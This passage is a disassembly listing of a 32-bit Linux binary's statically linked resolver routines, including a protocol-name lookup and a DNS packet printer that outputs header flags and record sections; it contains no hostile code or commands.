		dd offset loc_805EF34
		dd offset loc_805EF40
		dd offset loc_805EF4C
		dd offset loc_805EF58
		dd offset loc_805EF94
		dd offset loc_805EF64
		dd offset loc_805EF70
		dd offset loc_805EF94
		dd offset loc_805EF94
		dd offset loc_805EF94
		dd offset loc_805EF7C
		dd offset loc_805EF88
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805EF04:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aIcmp ; case 0x1
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EF10:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aIgmp ; case 0x2
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EF1C:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aGgp ; case	0x3
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EF28:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aSt	; case 0x5
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EF34:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aTcp ; case	0x6
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EF40:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aUcl ; case	0x7
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EF4C:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aEgp ; case	0x8
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EF58:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aIgp ; case	0x9
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EF64:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aNvpIi ; case 0xb
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EF70:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aPup ; case	0xc
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EF7C:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aChaos ; case 0x10
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EF88:				; CODE XREF: sub_805EEA4+12j
					; DATA XREF: sub_805EEA4+1Co
		mov	eax, offset aUdp ; case	0x11
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805EF94:				; CODE XREF: sub_805EEA4+Cj
					; sub_805EEA4+12j
					; DATA XREF: ...
		push	edx		; default
		push	offset aD_0	; "%d"
		push	offset unk_807E3C4
		call	sprintf
		mov	eax, offset unk_807E3C4
		mov	esp, ebp
		pop	ebp
		retn
sub_805EEA4	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805EFB0	proc near		; CODE XREF: sub_805F1DC+3FCp
					; sub_805F1DC+42Ep ...

var_C		= byte ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= word ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	ebx, [ebp+arg_8]
		mov	edx, [ebp+arg_18]
		mov	edi, [ebp+arg_10]
		and	edi, dword_80786A4
		mov	ax, [ebp+arg_C]
		xchg	al, ah
		movzx	esi, ax
		test	esi, esi
		jz	loc_805F14C
		cmp	dword_80786A4, 0
		jz	short loc_805EFEC
		test	edi, edi
		jz	short loc_805EFF9
		test	byte ptr dword_80786A4+1, 1
		jz	short loc_805EFF9

loc_805EFEC:				; CODE XREF: sub_805EFB0+2Dj
		push	edx
		mov	ecx, [ebp+arg_14]
		push	ecx
		call	_IO_fprintf
		add	esp, 8

loc_805EFF9:				; CODE XREF: sub_805EFB0+31j
					; sub_805EFB0+3Aj
		dec	esi
		js	loc_805F110
		mov	eax, esi
		not	eax
		and	eax, 1
		cmp	esi, 0FFFFFFFFh
		jle	short loc_805F010
		test	eax, eax
		jz	short loc_805F068

loc_805F010:				; CODE XREF: sub_805EFB0+5Aj
		cmp	dword_80786A4, 0
		jz	short loc_805F01D
		test	edi, edi
		jz	short loc_805F030

loc_805F01D:				; CODE XREF: sub_805EFB0+67j
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	ebx
		call	sub_805F7E4
		mov	ebx, eax
		jmp	short loc_805F050
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F030:				; CODE XREF: sub_805EFB0+6Bj
		lea	eax, [ebx+0FFh]
		push	eax
		push	ebx
		call	sub_804D404
		lea	ebx, [eax+ebx+8]
		push	ebx
		call	sub_804D6B8
		and	eax, 0FFFFh
		lea	ebx, [eax+ebx+2]

loc_805F050:				; CODE XREF: sub_805EFB0+7Dj
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], eax
		jl	loc_805F13C
		dec	esi
		js	loc_805F110

loc_805F068:				; CODE XREF: sub_805EFB0+5Ej
					; sub_805EFB0+15Aj
		cmp	dword_80786A4, 0
		jz	short loc_805F075
		test	edi, edi
		jz	short loc_805F088

loc_805F075:				; CODE XREF: sub_805EFB0+BFj
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	ebx
		call	sub_805F7E4
		mov	ebx, eax
		jmp	short loc_805F0A8
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F088:				; CODE XREF: sub_805EFB0+C3j
		lea	eax, [ebx+0FFh]
		push	eax
		push	ebx
		call	sub_804D404
		lea	ebx, [eax+ebx+8]
		push	ebx
		call	sub_804D6B8
		and	eax, 0FFFFh
		lea	ebx, [eax+ebx+2]

loc_805F0A8:				; CODE XREF: sub_805EFB0+D5j
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], eax
		jl	loc_805F13C
		dec	esi
		cmp	dword_80786A4, 0
		jz	short loc_805F0C7
		test	edi, edi
		jz	short loc_805F0DC

loc_805F0C7:				; CODE XREF: sub_805EFB0+111j
		mov	ecx, [ebp+arg_14]
		push	ecx
		mov	ecx, [ebp+arg_0]
		push	ecx
		push	ebx
		call	sub_805F7E4
		mov	ebx, eax
		jmp	short loc_805F0FC
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F0DC:				; CODE XREF: sub_805EFB0+115j
		lea	eax, [ebx+0FFh]
		push	eax
		push	ebx
		call	sub_804D404
		lea	ebx, [eax+ebx+8]
		push	ebx
		call	sub_804D6B8
		and	eax, 0FFFFh
		lea	ebx, [eax+ebx+2]

loc_805F0FC:				; CODE XREF: sub_805EFB0+127j
		add	esp, 0Ch
		mov	eax, ebx
		sub	eax, [ebp+arg_0]
		cmp	[ebp+arg_4], eax
		jl	short loc_805F13C
		dec	esi
		jns	loc_805F068

loc_805F110:				; CODE XREF: sub_805EFB0+4Aj
					; sub_805EFB0+B2j
		cmp	dword_80786A4, 0
		jz	short loc_805F126
		test	edi, edi
		jz	short loc_805F14C
		test	byte ptr dword_80786A4+1, 1
		jz	short loc_805F14C

loc_805F126:				; CODE XREF: sub_805EFB0+167j
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx+14h]
		cmp	[ecx+18h], eax
		ja	short loc_805F140
		push	0Ah
		push	ecx
		call	sub_8061910
		jmp	short loc_805F14C
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F13C:				; CODE XREF: sub_805EFB0+ABj
					; sub_805EFB0+103j ...
		xor	eax, eax
		jmp	short loc_805F14E
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F140:				; CODE XREF: sub_805EFB0+17Fj
		mov	ecx, [ebp+arg_14]
		mov	eax, [ecx+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [ecx+14h]

loc_805F14C:				; CODE XREF: sub_805EFB0+20j
					; sub_805EFB0+16Bj ...
		mov	eax, ebx

loc_805F14E:				; CODE XREF: sub_805EFB0+18Ej
		lea	esp, [ebp+var_C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805EFB0	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		push	ebp
		mov	ebp, esp
		mov	eax, [ebp+8]
		push	offset unk_8078750
		push	eax
		call	sub_805F670
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
; [0000006B BYTES: COLLAPSED FUNCTION __fp_resstat. PRESS KEYPAD "+" TO	EXPAND]
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805F1DC	proc near		; CODE XREF: res_send+63p
					; res_send+893p ...

var_114		= byte ptr -114h
var_108		= dword	ptr -108h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 108h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_8]
		test	byte ptr dword_807854C,	1
		jnz	short loc_805F202
		call	res_init
		cmp	eax, 0FFFFFFFFh
		jz	loc_805F663

loc_805F202:				; CODE XREF: sub_805F1DC+16j
		mov	edx, [ebp+arg_0]
		mov	[ebp+var_108], edx
		mov	ebx, edx
		add	ebx, 0Ch
		mov	edx, [ebp+arg_4]
		add	edx, ebx
		mov	[ebp+var_104], edx
		cmp	dword_80786A4, 0
		jz	short loc_805F236
		test	byte ptr dword_80786A4+1, 8
		jnz	short loc_805F236
		mov	edx, [ebp+arg_0]
		test	byte ptr [edx+3], 0Fh
		jz	short loc_805F295

loc_805F236:				; CODE XREF: sub_805F1DC+46j
					; sub_805F1DC+4Fj
		mov	edx, [ebp+var_108]
		mov	ax, [edx]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		mov	al, [edx+3]
		and	eax, 0Fh
		mov	eax, dword_8078FEC[eax*4]
		push	eax
		mov	al, [edx+2]
		shr	al, 3
		and	eax, 0Fh
		mov	eax, dword_8078FAC[eax*4]
		push	eax
		push	offset aHeaderOpcodeSS ; ";; ->>HEADER<<- opcode: %s, status: %s,"...
		push	esi
		call	_IO_fprintf
		add	esp, 14h
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_805F28C
		push	0Ah
		push	esi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805F295
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F28C:				; CODE XREF: sub_805F1DC+9Ej
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [esi+14h]

loc_805F295:				; CODE XREF: sub_805F1DC+58j
					; sub_805F1DC+ABj
		cmp	dword_80786A4, 0
		jz	short loc_805F2A7
		test	byte ptr dword_80786A4+1, 8
		jz	short loc_805F2C5

loc_805F2A7:				; CODE XREF: sub_805F1DC+C0j
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_805F2BC
		push	3Bh
		push	esi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805F2C5
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F2BC:				; CODE XREF: sub_805F1DC+D1j
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	3Bh
		inc	dword ptr [esi+14h]

loc_805F2C5:				; CODE XREF: sub_805F1DC+C9j
					; sub_805F1DC+DEj
		cmp	dword_80786A4, 0
		jz	short loc_805F2DB
		test	byte ptr dword_80786A4+1, 2
		jz	loc_805F36B

loc_805F2DB:				; CODE XREF: sub_805F1DC+F0j
		push	offset aFlags	; "; flags:"
		push	esi
		call	_IO_fprintf
		add	esp, 8
		mov	edx, [ebp+var_108]
		cmp	byte ptr [edx+2], 0
		jge	short loc_805F303
		push	offset aQr	; " qr"
		push	esi
		call	_IO_fprintf
		add	esp, 8

loc_805F303:				; CODE XREF: sub_805F1DC+117j
		mov	edx, [ebp+var_108]
		test	byte ptr [edx+2], 4
		jz	short loc_805F31D
		push	offset aAa	; " aa"
		push	esi
		call	_IO_fprintf
		add	esp, 8

loc_805F31D:				; CODE XREF: sub_805F1DC+131j
		mov	edx, [ebp+var_108]
		test	byte ptr [edx+2], 2
		jz	short loc_805F337
		push	offset aTc	; " tc"
		push	esi
		call	_IO_fprintf
		add	esp, 8

loc_805F337:				; CODE XREF: sub_805F1DC+14Bj
		mov	edx, [ebp+var_108]
		test	byte ptr [edx+2], 1
		jz	short loc_805F351
		push	offset aRd	; " rd"
		push	esi
		call	_IO_fprintf
		add	esp, 8

loc_805F351:				; CODE XREF: sub_805F1DC+165j
		mov	edx, [ebp+var_108]
		cmp	byte ptr [edx+3], 0
		jge	short loc_805F36B
		push	offset aRa	; " ra"
		push	esi
		call	_IO_fprintf
		add	esp, 8

loc_805F36B:				; CODE XREF: sub_805F1DC+F9j
					; sub_805F1DC+17Fj
		cmp	dword_80786A4, 0
		jz	short loc_805F381
		test	byte ptr dword_80786A4+1, 1
		jz	loc_805F401

loc_805F381:				; CODE XREF: sub_805F1DC+196j
		mov	edx, [ebp+var_108]
		mov	ax, [edx+4]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		push	offset aQuesD	; "; Ques: %d"
		push	esi
		call	_IO_fprintf
		add	esp, 0Ch
		mov	edx, [ebp+var_108]
		mov	ax, [edx+6]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		push	offset aAnsD	; ", Ans: %d"
		push	esi
		call	_IO_fprintf
		add	esp, 0Ch
		mov	edx, [ebp+var_108]
		mov	ax, [edx+8]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		push	offset aAuthD	; ", Auth: %d"
		push	esi
		call	_IO_fprintf
		add	esp, 0Ch
		mov	edx, [ebp+var_108]
		mov	ax, [edx+0Ah]
		xchg	al, ah
		and	eax, 0FFFFh
		push	eax
		push	offset aAdditD	; ", Addit: %d"
		push	esi
		call	_IO_fprintf
		add	esp, 0Ch

loc_805F401:				; CODE XREF: sub_805F1DC+19Fj
		cmp	dword_80786A4, 0
		jz	short loc_805F413
		test	byte ptr dword_80786A4+1, 0Bh
		jz	short loc_805F431

loc_805F413:				; CODE XREF: sub_805F1DC+22Cj
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_805F428
		push	0Ah
		push	esi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805F431
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F428:				; CODE XREF: sub_805F1DC+23Dj
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [esi+14h]

loc_805F431:				; CODE XREF: sub_805F1DC+235j
					; sub_805F1DC+24Aj
		mov	edx, [ebp+var_108]
		mov	ax, [edx+4]
		xchg	al, ah
		movzx	edi, ax
		test	edi, edi
		jz	loc_805F5B0
		cmp	dword_80786A4, 0
		jz	short loc_805F45A
		test	byte ptr dword_80786A4,	10h
		jz	short loc_805F468

loc_805F45A:				; CODE XREF: sub_805F1DC+273j
		push	offset aQuestions ; ";;	QUESTIONS:\n"
		push	esi
		call	_IO_fprintf
		add	esp, 8

loc_805F468:				; CODE XREF: sub_805F1DC+27Cj
		dec	edi
		js	loc_805F5B0
		nop

loc_805F470:				; CODE XREF: sub_805F1DC+3CEj
		cmp	dword_80786A4, 0
		jz	short loc_805F482
		test	byte ptr dword_80786A4,	10h
		jz	short loc_805F490

loc_805F482:				; CODE XREF: sub_805F1DC+29Bj
		push	offset asc_806969E ; ";;\t"
		push	esi
		call	_IO_fprintf
		add	esp, 8

loc_805F490:				; CODE XREF: sub_805F1DC+2A4j
		cmp	[ebp+var_104], ebx
		jbe	loc_805F650
		cmp	dword_80786A4, 0
		jz	short loc_805F4AE
		test	byte ptr dword_80786A4,	10h
		jz	short loc_805F4C4

loc_805F4AE:				; CODE XREF: sub_805F1DC+2C7j
		push	esi
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		push	ebx
		call	sub_805F68C
		mov	ebx, eax
		add	esp, 10h
		jmp	short loc_805F4EE
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F4C4:				; CODE XREF: sub_805F1DC+2D0j
		push	100h
		lea	eax, [ebp+var_100]
		push	eax
		push	ebx
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+arg_4]
		push	eax
		mov	edx, [ebp+arg_0]
		push	edx
		call	dn_expand
		add	esp, 14h
		test	eax, eax
		jl	loc_805F658
		add	ebx, eax

loc_805F4EE:				; CODE XREF: sub_805F1DC+2E6j
		test	ebx, ebx
		jz	loc_805F658
		cmp	[ebp+var_104], ebx
		jbe	loc_805F650
		cmp	dword_80786A4, 0
		jz	short loc_805F514
		test	byte ptr dword_80786A4,	10h
		jz	short loc_805F534

loc_805F514:				; CODE XREF: sub_805F1DC+32Dj
		push	ebx
		call	sub_804D6B8
		and	eax, 0FFFFh
		push	eax
		call	__p_type
		push	eax
		push	offset aTypeS	; ", type = %s"
		push	esi
		call	_IO_fprintf
		add	esp, 14h

loc_805F534:				; CODE XREF: sub_805F1DC+336j
		add	ebx, 2
		cmp	[ebp+var_104], ebx
		jbe	loc_805F650
		cmp	dword_80786A4, 0
		jz	short loc_805F555
		test	byte ptr dword_80786A4,	10h
		jz	short loc_805F575

loc_805F555:				; CODE XREF: sub_805F1DC+36Ej
		push	ebx
		call	sub_804D6B8
		and	eax, 0FFFFh
		push	eax
		call	sub_80605D0
		push	eax
		push	offset aClassS	; ", class = %s\n"
		push	esi
		call	_IO_fprintf
		add	esp, 14h

loc_805F575:				; CODE XREF: sub_805F1DC+377j
		add	ebx, 2
		cmp	dword_80786A4, 0
		jz	short loc_805F58A
		test	byte ptr dword_80786A4,	10h
		jz	short loc_805F5A9

loc_805F58A:				; CODE XREF: sub_805F1DC+3A3j
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_805F5A0
		push	0Ah
		push	esi
		call	sub_8061910
		add	esp, 8
		jmp	short loc_805F5A9
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F5A0:				; CODE XREF: sub_805F1DC+3B4j
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	0Ah
		inc	dword ptr [esi+14h]

loc_805F5A9:				; CODE XREF: sub_805F1DC+3ACj
					; sub_805F1DC+3C1j
		dec	edi
		jns	loc_805F470

loc_805F5B0:				; CODE XREF: sub_805F1DC+266j
					; sub_805F1DC+28Dj
		cmp	[ebp+var_104], ebx
		jbe	loc_805F650
		push	offset aAnswers	; ";; ANSWERS:\n"
		push	esi
		push	20h
		mov	edx, [ebp+var_108]
		movzx	eax, word ptr [edx+6]
		push	eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_805EFB0
		mov	ebx, eax
		add	esp, 1Ch
		test	ebx, ebx
		jz	short loc_805F658
		cmp	[ebp+var_104], ebx
		jbe	short loc_805F650
		push	offset aAuthorityRecor ; ";; AUTHORITY RECORDS:\n"
		push	esi
		push	40h
		mov	edx, [ebp+var_108]
		movzx	eax, word ptr [edx+8]
		push	eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_805EFB0
		mov	ebx, eax
		add	esp, 1Ch
		test	ebx, ebx
		jz	short loc_805F658
		cmp	[ebp+var_104], ebx
		jbe	short loc_805F650
		push	offset aAdditionalReco ; ";; ADDITIONAL	RECORDS:\n"
		push	esi
		push	80h
		mov	edx, [ebp+var_108]
		movzx	eax, word ptr [edx+0Ah]
		push	eax
		push	ebx
		mov	edx, [ebp+arg_4]
		push	edx
		mov	edx, [ebp+arg_0]
		push	edx
		call	sub_805EFB0
		mov	ebx, eax
		add	esp, 1Ch
		test	ebx, ebx
		jz	short loc_805F658
		jmp	short loc_805F663
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F650:				; CODE XREF: sub_805F1DC+2BAj
					; sub_805F1DC+320j ...
		push	offset a___truncated ; "\n;; ...truncated\n"
		jmp	short loc_805F65D
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F658:				; CODE XREF: sub_805F1DC+30Aj
					; sub_805F1DC+314j ...
		push	offset a___malformed ; "\n;; ...malformed\n"

loc_805F65D:				; CODE XREF: sub_805F1DC+479j
		push	esi
		call	_IO_fprintf

loc_805F663:				; CODE XREF: sub_805F1DC+20j
					; sub_805F1DC+471j
		lea	esp, [ebp+var_114]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805F1DC	endp


; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805F670	proc near		; CODE XREF: .text:0805F164p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		mov	edx, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		push	eax
		push	200h
		push	edx
		call	sub_805F1DC
		mov	esp, ebp
		pop	ebp
		retn
sub_805F670	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805F68C	proc near		; CODE XREF: sub_805F1DC+2DCp
					; .text:0805F724p

var_10C		= byte ptr -10Ch
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 100h
		push	edi
		push	esi
		push	ebx
		mov	edi, [ebp+arg_0]
		mov	eax, [ebp+arg_4]
		mov	ebx, [ebp+arg_C]
		push	100h
		lea	edx, [ebp+var_100]
		push	edx
		push	edi
		mov	edx, eax
		add	edx, [ebp+arg_8]
		push	edx
		push	eax
		call	dn_expand
		mov	esi, eax
		add	esp, 14h
		test	esi, esi
		jge	short loc_805F6C8
		xor	eax, eax
		jmp	short loc_805F700
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F6C8:				; CODE XREF: sub_805F68C+35j
		cmp	[ebp+var_100], 0
		jnz	short loc_805F6F0
		mov	eax, [ebx+14h]
		cmp	[ebx+18h], eax
		ja	short loc_805F6E4
		push	2Eh
		push	ebx
		call	sub_8061910
		jmp	short loc_805F6FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F6E4:				; CODE XREF: sub_805F68C+4Bj
		mov	eax, [ebx+14h]
		mov	byte ptr [eax],	2Eh
		inc	dword ptr [ebx+14h]
		jmp	short loc_805F6FD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F6F0:				; CODE XREF: sub_805F68C+43j
		push	ebx
		lea	eax, [ebp+var_100]
		push	eax
		call	_IO_fputs

loc_805F6FD:				; CODE XREF: sub_805F68C+55j
					; sub_805F68C+61j
		lea	eax, [esi+edi]

loc_805F700:				; CODE XREF: sub_805F68C+39j
		lea	esp, [ebp+var_10C]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805F68C	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4
		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+8]
		mov	edx, [ebp+0Ch]
		mov	eax, [ebp+10h]
		push	eax
		push	200h
		push	edx
		push	ecx
		call	sub_805F68C
		mov	esp, ebp
		pop	ebp
		retn
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805F730	proc near		; CODE XREF: sub_805F7E4+3Ap
					; sub_805F7E4+3C7p ...

var_110		= byte ptr -110h
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 104h
		push	edi
		push	esi
		push	ebx
		mov	eax, [ebp+arg_4]
		mov	esi, [ebp+arg_8]
		push	100h
		lea	edx, [ebp+var_100]
		push	edx
		mov	ecx, [ebp+arg_0]
		push	ecx
		mov	edx, [ebp+arg_0]
		add	edx, 0FFh
		push	edx
		push	eax
		call	dn_expand
		mov	[ebp+var_104], eax
		add	esp, 14h
		test	eax, eax
		jge	short loc_805F774
		xor	eax, eax
		jmp	short loc_805F7D6
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F774:				; CODE XREF: sub_805F730+3Dj
		cmp	[ebp+var_100], 0
		jnz	short loc_805F788
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		jbe	short loc_805F7BA
		jmp	short loc_805F7C4
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

loc_805F788:				; CODE XREF: sub_805F730+4Bj
		push	esi
		lea	ebx, [ebp+var_100]
		push	ebx
		call	_IO_fputs
		xor	al, al
		mov	edi, ebx
		cld
		mov	ecx, 0FFFFFFFFh
		repne scasb
		mov	eax, ecx
		not	eax
		add	esp, 8
		cmp	byte ptr [ebp+eax+var_104+2], 2Eh
		jz	short loc_805F7CD
		mov	eax, [esi+14h]
		cmp	[esi+18h], eax
		ja	short loc_805F7C4

loc_805F7BA:				; CODE XREF: sub_805F730+53j
		push	2Eh
		push	esi
		call	sub_8061910
		jmp	short loc_805F7CD
; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд

loc_805F7C4:				; CODE XREF: sub_805F730+55j
					; sub_805F730+88j
		mov	eax, [esi+14h]
		mov	byte ptr [eax],	2Eh
		inc	dword ptr [esi+14h]

loc_805F7CD:				; CODE XREF: sub_805F730+80j
					; sub_805F730+92j
		mov	eax, [ebp+arg_0]
		add	eax, [ebp+var_104]

loc_805F7D6:				; CODE XREF: sub_805F730+41j
		lea	esp, [ebp+var_110]
		pop	ebx
		pop	esi
		pop	edi
		mov	esp, ebp
		pop	ebp
		retn
sub_805F730	endp

; ддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддддд
		align 4

; шшшшшшшшшшшшшшш S U B	R O U T	I N E шшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшшш

; Attributes: bp-based frame

sub_805F7E4	proc near		; CODE XREF: sub_805EFB0+76p
					; sub_805EFB0+CEp ...

var_30		= byte ptr -30h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 24h
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_0]
		mov	edi, [ebp+arg_8]
		test	byte ptr dword_807854C,	1
		jnz	short loc_805F818
		call	res_init
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_805F818
		mov	ds:dword_807E788, 0FFFFFFFFh

loc_805F810:				; CODE XREF: sub_805F7E4+46j
